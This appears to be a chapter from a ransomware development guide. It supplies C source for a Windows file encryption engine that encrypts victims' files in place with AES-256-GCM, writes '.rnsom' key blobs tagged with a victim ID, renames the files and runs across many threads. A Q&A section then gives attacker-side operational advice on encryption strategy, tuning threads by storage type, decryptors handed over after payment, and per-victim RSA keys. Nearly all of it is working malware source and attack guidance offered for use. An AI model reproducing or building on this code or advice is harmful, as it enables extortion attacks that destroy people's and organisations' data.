Per-File Symmetric Encryption
This chapter implements the file encryption engine — the component that takes a plaintext file and produces an encrypted version using AES-256-GCM with a unique key and nonce per file. We cover the full pipeline: key and nonce generation, in-place vs. staged file encryption, handling the GCM authentication tag, writing the encrypted key blob, renaming encrypted files, and multithreaded parallel encryption for maximum throughput.
AES-256-GCM File Encryption Engine
/* file_encrypt.c — AES-256-GCM per-file encryption engine */
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")
/* Per-file encrypted data structure written alongside the encrypted file */
/* This is the KEY BLOB — without the attacker's RSA private key, this is useless */
typedef struct __attribute__((packed)) {
BYTE magic[4]; /* "RNSOM" */
BYTE victim_id[16]; /* Identifies which victim this belongs to */
BYTE encrypted_key[256]; /* AES-256 key (32 bytes) encrypted with RSA-2048-OAEP */
BYTE nonce[12]; /* GCM nonce (stored plaintext — needed for decryption) */
BYTE auth_tag[16]; /* GCM authentication tag */
DWORD64 original_size; /* Original file size before encryption */
BYTE original_hash[32]; /* SHA-256 of original file (proof-of-life for decryptor) */
} EncryptedFileHeader;
/* Encrypt one file using AES-256-GCM
File is encrypted IN PLACE (read → encrypt → write back)
A .rnsom header file is written alongside with key metadata
*/
typedef struct {
BYTE abe_key[32]; /* AES encryption key for this file */
BYTE nonce[12]; /* GCM nonce */
} FileEncryptionContext;
static BOOL generate_file_key(FileEncryptionContext *ctx) {
/* BCryptGenRandom: cryptographically secure random key + nonce */
NTSTATUS s = BCryptGenRandom(NULL, ctx->abe_key, 32, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
if (!BCRYPT_SUCCESS(s)) return FALSE;
s = BCryptGenRandom(NULL, ctx->nonce, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
return BCRYPT_SUCCESS(s);
}
BOOL encrypt_file(const WCHAR *file_path, const BYTE *rsa_pubkey,
const BYTE *victim_id) {
/* Step 1: Open file and get its size */
HANDLE hFile = CreateFileW(file_path, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_FLAG_SEQUENTIAL_SCAN, NULL);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
DWORD64 file_size = 0;
{
DWORD high = 0;
DWORD low = GetFileSize(hFile, &high);
file_size = ((DWORD64)high << 32) | low;
}
if (file_size == 0) { CloseHandle(hFile); return FALSE; }
/* Step 2: Read entire file into memory */
/* For large files: use a streaming approach (Ch92 covers partial) */
BYTE *plaintext = (BYTE*)VirtualAlloc(NULL, (SIZE_T)file_size + 64,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
if (!plaintext) { CloseHandle(hFile); return FALSE; }
DWORD bytes_read = 0;
ReadFile(hFile, plaintext, (DWORD)file_size, &bytes_read, NULL);
if (bytes_read != (DWORD)file_size) {
VirtualFree(plaintext, 0, MEM_RELEASE);
CloseHandle(hFile);
return FALSE;
}
/* Step 3: Generate per-file key and nonce */
FileEncryptionContext ctx = {0};
if (!generate_file_key(&ctx)) {
VirtualFree(plaintext, 0, MEM_RELEASE);
CloseHandle(hFile);
return FALSE;
}
/* Step 4: AES-256-GCM encrypt */
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(BYTE*)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
DWORD key_obj_sz = 0, dummy = 0;
BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (BYTE*)&key_obj_sz, 4, &dummy, 0);
BYTE *key_obj = (BYTE*)alloca(key_obj_sz);
BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_sz, ctx.abe_key, 32, 0);
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth_info;
BCRYPT_INIT_AUTH_MODE_INFO(auth_info);
BYTE auth_tag[16] = {0};
auth_info.pbNonce = ctx.nonce;
auth_info.cbNonce = 12;
auth_info.pbTag = auth_tag;
auth_info.cbTag = 16;
/* Optional AAD (additional authenticated data): include victim_id and filename
so auth tag covers these too — decryptor can verify correct key is applied */
auth_info.pbAuthData = (BYTE*)victim_id;
auth_info.cbAuthData = 16;
BYTE *ciphertext = (BYTE*)VirtualAlloc(NULL, (SIZE_T)file_size + 64,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
DWORD ct_len = 0;
NTSTATUS ns = BCryptEncrypt(hKey, plaintext, (ULONG)file_size, &auth_info,
NULL, 0, ciphertext, (ULONG)file_size + 64, &ct_len, 0);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
/* Wipe plaintext from memory IMMEDIATELY after encryption */
SecureZeroMemory(plaintext, (SIZE_T)file_size);
VirtualFree(plaintext, 0, MEM_RELEASE);
if (!BCRYPT_SUCCESS(ns)) {
VirtualFree(ciphertext, 0, MEM_RELEASE);
CloseHandle(hFile);
return FALSE;
}
/* Step 5: Write ciphertext back to file (in-place) */
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
SetEndOfFile(hFile); /* Truncate to 0 before writing new content */
DWORD written = 0;
WriteFile(hFile, ciphertext, ct_len, &written, NULL);
FlushFileBuffers(hFile);
CloseHandle(hFile);
VirtualFree(ciphertext, 0, MEM_RELEASE);
/* Step 6: Encrypt the file's AES key with attacker's RSA public key */
/* (rsa_oaep_encrypt(rsa_pubkey, ctx.abe_key, 32, encrypted_key_out)) */
/* Using CryptEncryptMessage or custom RSA implementation */
BYTE encrypted_key[256] = {0};
/* rsa_encrypt_oaep(rsa_pubkey, ctx.abe_key, 32, encrypted_key); */
/* Step 7: Write the key blob alongside the encrypted file */
WCHAR blob_path[MAX_PATH * 2];
swprintf(blob_path, MAX_PATH * 2, L"%s.rnsom_key", file_path);
EncryptedFileHeader header = {0};
memcpy(header.magic, "RNSOM", 4);
memcpy(header.victim_id, victim_id, 16);
memcpy(header.encrypted_key, encrypted_key, 256);
memcpy(header.nonce, ctx.nonce, 12);
memcpy(header.auth_tag, auth_tag, 16);
header.original_size = file_size;
/* (compute original_hash separately if needed) */
HANDLE hBlob = CreateFileW(blob_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hBlob != INVALID_HANDLE_VALUE) {
WriteFile(hBlob, &header, sizeof(header), &written, NULL);
CloseHandle(hBlob);
}
/* Step 8: Rename the encrypted file to add .rnsom extension */
WCHAR new_path[MAX_PATH * 2];
swprintf(new_path, MAX_PATH * 2, L"%s.rnsom", file_path);
MoveFileW(file_path, new_path); /* Rename: orig.docx → orig.docx.rnsom */
/* Wipe the plaintext AES key from our stack */
SecureZeroMemory(&ctx, sizeof(ctx));
return TRUE;
}Multithreaded Encryption — Maximum Throughput
/* Parallel encryption: distribute files across N threads */
typedef struct {
FileList *file_list;
volatile LONG next_file_index; /* Atomic index into file_list */
const BYTE *rsa_pubkey;
const BYTE *victim_id;
volatile LONG files_encrypted;
volatile LONG files_failed;
} EncryptionJob;
static DWORD WINAPI encryption_worker(PVOID param) {
EncryptionJob *job = (EncryptionJob*)param;
while (TRUE) {
/* Atomically grab the next file to encrypt */
LONG idx = InterlockedIncrement(&job->next_file_index) - 1;
if (idx >= (LONG)job->file_list->count) break;
const WCHAR *path = job->file_list->paths[idx];
BOOL ok = encrypt_file(path, job->rsa_pubkey, job->victim_id);
if (ok) {
InterlockedIncrement(&job->files_encrypted);
} else {
InterlockedIncrement(&job->files_failed);
}
/* Progress reporting every 100 files */
LONG done = job->files_encrypted + job->files_failed;
if (done % 100 == 0) {
printf("[%ld/%lu] Encrypted %ld files, %ld failed\r",
done, job->file_list->count,
job->files_encrypted, job->files_failed);
}
}
return 0;
}
BOOL run_encryption(FileList *file_list, const BYTE *rsa_pubkey,
const BYTE *victim_id, DWORD thread_count) {
EncryptionJob job = {0};
job.file_list = file_list;
job.rsa_pubkey = rsa_pubkey;
job.victim_id = victim_id;
job.next_file_index = 0;
sort_files_by_priority(file_list);
HANDLE *threads = (HANDLE*)alloca(thread_count * sizeof(HANDLE));
printf("[*] Starting encryption: %lu files, %lu threads\n",
file_list->count, thread_count);
DWORD start_tick = GetTickCount();
for (DWORD i = 0; i < thread_count; i++) {
threads[i] = CreateThread(NULL, 0, encryption_worker, &job, 0, NULL);
}
WaitForMultipleObjects(thread_count, threads, TRUE, INFINITE);
for (DWORD i = 0; i < thread_count; i++) CloseHandle(threads[i]);
DWORD elapsed_ms = GetTickCount() - start_tick;
DWORD64 mb_encrypted = job.files_encrypted > 0
? file_list->total_bytes / (1024 * 1024) : 0;
printf("\n[+] Encryption complete in %lu ms\n", elapsed_ms);
printf(" Files encrypted: %ld / %lu (failed: %ld)\n",
job.files_encrypted, file_list->count, job.files_failed);
if (elapsed_ms > 0)
printf(" Throughput: %llu MB/s\n",
mb_encrypted * 1000 / elapsed_ms);
return job.files_failed == 0;
}Questions & Answers
Why use GCM mode instead of CBC for file encryption?
GCM (Galois/Counter Mode) is authenticated encryption: it produces both ciphertext AND a 16-byte authentication tag (MAC). If the ciphertext is tampered with, the tag won't verify. This matters for ransomware because: (1) The decryptor can verify it's using the correct key and correct file before writing decrypted data back. Without authentication, a decryptor might write garbage over an already-encrypted file if the wrong key is used (double-corruption, catastrophic). (2) GCM is a stream cipher mode — encryption and decryption both operate on sequential data without padding. CBC requires PKCS7 padding, which slightly increases file size and introduces padding oracle vulnerabilities. (3) GCM supports Additional Authenticated Data (AAD): we can include the victim_id and filename in the authentication tag computation. This means the authentication tag covers both the ciphertext AND the victim context — you can't take a .rnsom key blob from one victim's file and use it to decrypt another victim's file, even if the encrypted content happened to be the same file. CBC provides no authentication — the decryptor has no way to verify it's using the right key until it produces output that's either recognizable or garbage.
What's the risk of encrypting files in-place, and what's the alternative?
In-place encryption (read → decrypt → write back to same file) has two risks: (1) Power failure or crash mid-write leaves a file that's partially plaintext, partially ciphertext — the file is corrupted and neither version is recoverable. (2) Many applications have the file open with exclusive write access. The in-place approach can't handle these files. Staged alternative: write encrypted content to a NEW file alongside the original (filename.docx.rnsom), verify the write succeeded, then delete the original (filename.docx). This is safer: if the write fails, the original is still intact. The downside: requires 2x disk space temporarily (original + encrypted version coexist). For a machine with files filling 90% of disk, staged encryption will fail when disk fills. Production ransomware often uses a hybrid: (1) If sufficient free space: staged encryption with delete-after-verify. (2) If insufficient free space: in-place encryption. LockBit uses efficient I/O: read a chunk, encrypt the chunk, write it back immediately (overlapping read-encrypt-write), never loading the entire file into RAM — essential for 50GB virtual machine images.
How do you handle the I/O performance characteristics of different storage types?
Storage medium dramatically affects encryption throughput: NVMe SSD: 3-5 GB/s sequential read/write. AES-256-GCM in software is ~1-3 GB/s on a modern CPU (with AES-NI hardware acceleration). So encryption is CPU-bound, not I/O bound. Use 8+ threads to saturate all CPU cores. SATA SSD: 500 MB/s. Similar throughput calculation, still benefits from multiple threads. HDD: 100-150 MB/s sequential, but extremely slow on random I/O. If encrypting many small files scattered across an HDD, random seeks kill throughput. Strategy: sort files by directory path (minimize head seeks) and use fewer threads (more threads = more simultaneous seeks = worse HDD performance; 1-2 threads may be optimal for HDDs). Network shares (SMB): latency and bandwidth vary. Benchmark: test with a small file first to measure round-trip time. Network I/O is the bottleneck — use many threads (16-32) to pipeline network requests, hide latency through concurrency. Azure/AWS S3-mounted drives: object storage has high per-operation latency; encryption in memory then upload is the only efficient approach. The ransomware configuration's thread_count should adapt based on detected storage type.
How does the victim's decryptor tool work if they pay the ransom?
The decryptor provided by the attacker after payment reverses the encryption: (1) For each .rnsom file: read the adjacent .rnsom_key file to get the EncryptedFileHeader. (2) Use the attacker's RSA private key to decrypt the encrypted_key field: AES-256 key = RSA-OAEP-Decrypt(rsa_private_key, encrypted_key). (3) Use the recovered AES key + nonce to AES-256-GCM decrypt the file content. Verify the auth_tag — if it matches, decryption is correct. (4) Write plaintext back to the file, remove .rnsom extension, delete .rnsom_key file. The decryptor includes the attacker's RSA private key hardcoded inside it (usually AES-encrypted within the decryptor, unlocked by the ransom payment transaction ID or a decryption code the attacker provides). Professional ransomware groups provide working decryptors — reputation matters for future victims paying. Groups that scam victims after payment (don't provide working decryptors) eventually lose leverage because word spreads that paying doesn't result in recovery. From an operational perspective: include original_hash in the key blob so the decryptor can verify the file decrypted correctly before overwriting — prevents double-corruption if the wrong key blob is matched to the wrong file.
What happens to the RSA key management when encrypting thousands of machines simultaneously?
The RSA public key is the same for all victims in a campaign — it's hardcoded in the ransomware binary. The RSA private key is stored at the attacker's infrastructure. The victim-specific component is the victim_id (a random 16-byte identifier generated per machine) and the file-level AES keys (unique per file per machine). When multiple machines are encrypted simultaneously: each machine generates its own file-level AES keys, encrypts them with the same RSA public key, and writes them to .rnsom_key files. All victim machines' encrypted files are locked with the same RSA public key. The attacker's RSA private key can decrypt all of them. When a victim pays, the attacker gives them the RSA private key. At this point, the RSA private key decrypts all .rnsom_key files across all files on all machines for that victim. Some sophisticated operations use per-victim RSA key pairs: the attacker generates a unique RSA keypair for each victim on their server, embeds that victim's RSA public key in the ransomware binary before deployment (or passes it as a command-line argument), and retains the corresponding private key. This means giving the private key to one paying victim doesn't help other victims. It's more operational complexity but better isolates payments from each other.